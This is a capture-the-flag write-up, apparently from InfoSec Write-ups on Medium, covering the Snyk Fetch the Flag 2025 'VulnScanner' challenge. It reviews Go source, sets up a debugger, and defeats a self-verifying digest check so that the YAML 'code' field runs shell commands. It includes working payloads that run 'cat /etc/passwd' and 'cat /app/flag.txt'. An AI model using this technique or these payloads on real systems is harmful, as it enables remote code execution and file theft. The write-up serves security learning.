InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties…

Follow publication

Snyk Fetch the Flag 2025 Write-Up: VulnScanner

Snyk Fetch the Flag 2025 just wrapped up, delivering a solid mix of practical security concepts and creative challenges. One challenge stood out to me for its clever approach to testing my intuition and methodology.

VulnScanner is a web challenge that lets you define HTTP test specifications using YAML for configuration. It’s written in Go, my favorite programming language as a software developer. I wouldn’t call myself an expert, but I’ve written several professional programs with it — so this should be easy, right?

Code Review

Before spinning up anything, I usually review the code to get a sense of what I’m dealing with. I look for API endpoints and use the Snyk CLI to identify potential vulnerabilities.

Two routes stand out: /upload, which allows us to upload YAML files, and /templates/download/, which lets us download files from the server.

Let’s start with /templates/download/, since the CTF challenge is about reading files from the system. Looking at its mapped handler, HandleTemplateDownload, it seems easy to exploit—it only checks if the file exists before serving it via the http.ServeFile method.

// src/handlers/templates.go
func HandleTemplateDownload(w http.ResponseWriter, r *http.Request) {
templateName := r.URL.Path[len("/templates/download/"):]
filePath := filepath.Join("./templates", templateName)

if _, err := os.Stat(filePath); os.IsNotExist(err) {
http.Error(w, "Template not found", http.StatusNotFound)
return
}

http.ServeFile(w, r, filePath)
}

However, after examining the method, I found that it includes a check to prevent path traversal, so that approach is a no-go.

func ServeFile(w ResponseWriter, r *Request, name string) {
if containsDotDot(r.URL.Path) {
// Too many programs use r.URL.Path to construct the argument to
// serveFile. Reject the request under the assumption that happened
// here and ".." may not be wanted.
// Note that name might not contain "..", for example if code (still
// incorrectly) used filepath.Join(myDir, r.URL.Path).
serveError(w, "invalid URL path", StatusBadRequest)
return
}
dir, file := filepath.Split(name)
serveFile(w, r, Dir(dir), file, false)
}

Next is the /upload route, mapped to HandleUpload. Scanning through the code, I discovered that it can execute system commands via the utils.ExecuteCode method. However, before reaching that code block, we need to bypass a “digest” verification.

// src/handlers/upload.go
func HandleUpload(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
http.ServeFile(w, r, "static/upload.html")
} else {
// ...
digestFile := "templates/known_digests.txt"
digestExists, err := utils.VerifyDigest(string(content), digestFile)
if err != nil {
http.Error(w, "Failed to verify template digest", http.StatusUnauthorized)
return
}

if !digestExists {
http.Error(w, "Template does not match any known digests", http.StatusUnauthorized)
return
}
// ...
code, ok := parsedFields["code"].(string)
var output string
if ok {
output = utils.ExecuteCode(code)
} else {
output = "No code block found in template."
}
// ...
}
// src/utils/execution.go
func ExecuteCode(code string) string {
cmd := exec.Command("sh", "-c", code)
output, _ := cmd.CombinedOutput()
return string(output)
}

The VerifyDigest function isn’t intuitive at first glance. To understand how it works, we need to spin up the challenge’s source code and trace its execution.

// src/utils/digest.go
func VerifyDigest(content, digestFile string) (bool, error) {
digestPattern := regexp.MustCompile(`(?m)^#\sdigest:\s([a-fA-F0-9]+)`)
matches := digestPattern.FindAllStringSubmatch(content, 1) // Only match the first line

if len(matches) == 0 {
return false, errors.New("no valid digest found")
}

firstDigest := matches[0][1]
cleanedContent := RemoveDigestComment(content)
normalizedContent := NormalizeContent(cleanedContent)
hash := sha256.Sum256([]byte(normalizedContent))
hexHash := fmt.Sprintf("%x", hash)

_, err := ioutil.ReadFile(digestFile)
if err != nil {
return false, fmt.Errorf("failed to read known digests: %w", err)
}

if strings.TrimSpace(hexHash) == firstDigest {
return true, nil
}
return false, errors.New("signature verification failed")
}

Local Testing

The first thing we need to do is update the Dockerfile to enable debugging. This involves installing Delve, a debugger for the Go programming language, and modifying the CMD to start the debugger.

FROM golang:1.23.0

WORKDIR /app

COPY src/ .
COPY flag.txt .

RUN go mod tidy
RUN go build -o app main.go

EXPOSE 8081
RUN go install github.com/go-delve/delve/cmd/dlv@latest
CMD ["dlv", "exec", "./app", "--headless", "--listen=:2345", "--api-version=2", "--accept-multiclient"]

Next, we need to open the source code in VS Code and configure it to attach to the debugger inside the Dockerized application. We do this by creating a .vscode/launch.json file with the following configurations.

{
"version": "0.2.0",
"configurations": [
{
"name": "Connect to server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "/app",
"cwd": "${workspaceFolder}/src",
"port": 2345,
"host": "127.0.0.1"
}
]
}

After setting up these prerequisites, let’s start the Dockerized application with the following command:

docker build -t vulnscanner . && docker run -it -p 8081:8081 -p 2345:2345 vulnscanner

This will map both the application port and the debugger port to localhost. Then, attach VS Code to the debugger by going to Run > Start Debugging or pressing F5.

Now that we’ve set up the debugger, let’s jump into it. First, we need a sample YAML file for the upload feature. We can get one from /templates/list—let’s download example3.yaml since it already contains the code field, which we can modify to execute system commands.

name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /etc/passwd

# digest: 3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a

Next, let’s set a breakpoint at the first line inside the VerifyDigest function.

Then, we upload the modified YAML file to /upload.

By stepping through the code until the hash comparison block, we can see that it looks for the “digest comment” in the YAML file and then compares it to the actual digest of the file (excluding the digest comment). If it matches, the file is verified. That doesn’t sound secure!

Now that we understand how it works, let’s skip reading /etc/passwd and go straight for the flag!

Exploitation

Using the debugger, let’s retrieve the digest of our malicious YAML and insert it as the “digest comment” in our final payload.

name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /app/flag.txt

# digest: 3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a

Let’s finalize our malicious YAML payload by adding the digest we obtained from the debugger, then re-upload the file.

name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /app/flag.txt

# digest: c974417a9a8d98e0197ed1cc76eae848311bac6c797b1730ba43108e581ca510

We’ve successfully read flag.txt from the Dockerized application! Of course, we can use the same payload on the actual challenge instance, which is still accessible in Snyk Fetch the Flag as of this writing.

References

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Pat Bautista

I'm a software developer passionate about application security. I enjoy breaking applications to uncover weaknesses and then reinforcing them to be more secure.

No responses yet

Write a response